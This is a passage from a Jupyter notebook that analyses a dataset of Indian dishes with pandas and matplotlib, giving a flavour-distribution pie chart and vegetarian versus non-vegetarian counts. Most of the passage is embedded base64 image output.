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", + "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "plt.figure(figsize=(12,6))\n", + "plt.title('Flavorwise distribution of Indian dishes')\n", + "plt.pie(flavor_counts, labels=flavor_counts.index, autopct='%1.1f%%', startangle=180);\n", + "plt.legend()" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "sPoYjf-IdRca" + }, + "source": [ + "The pie chart clearly shows the flavorwise distribution of Indian dishes.\n", + "\n", + "About 56.7% of Indian dishes are spicy which is the highest among all flavors.\n", + "\n", + "And only 0.6% of Indian dishes are sour which is the least among all flavors." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "Bc68SfqXasgO", + "outputId": "3f5fcf64-0b33-4e68-8139-cb57e1419668" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "vegetarian 163\n", + "non vegetarian 17\n", + "Name: diet, dtype: int64" + ] + }, + "execution_count": 19, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Calculating No. of veg & Non-veg dishes\n", + "diet_counts = df1.diet.value_counts()\n", + "diet_counts" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 394 + }, + "id": "VBFAm3p7auRe", + "outputId": "e7418c6a-4892-4162-8335-fe63aede6117" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "" + ] + }, + "execution_count": 20, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "image/png": "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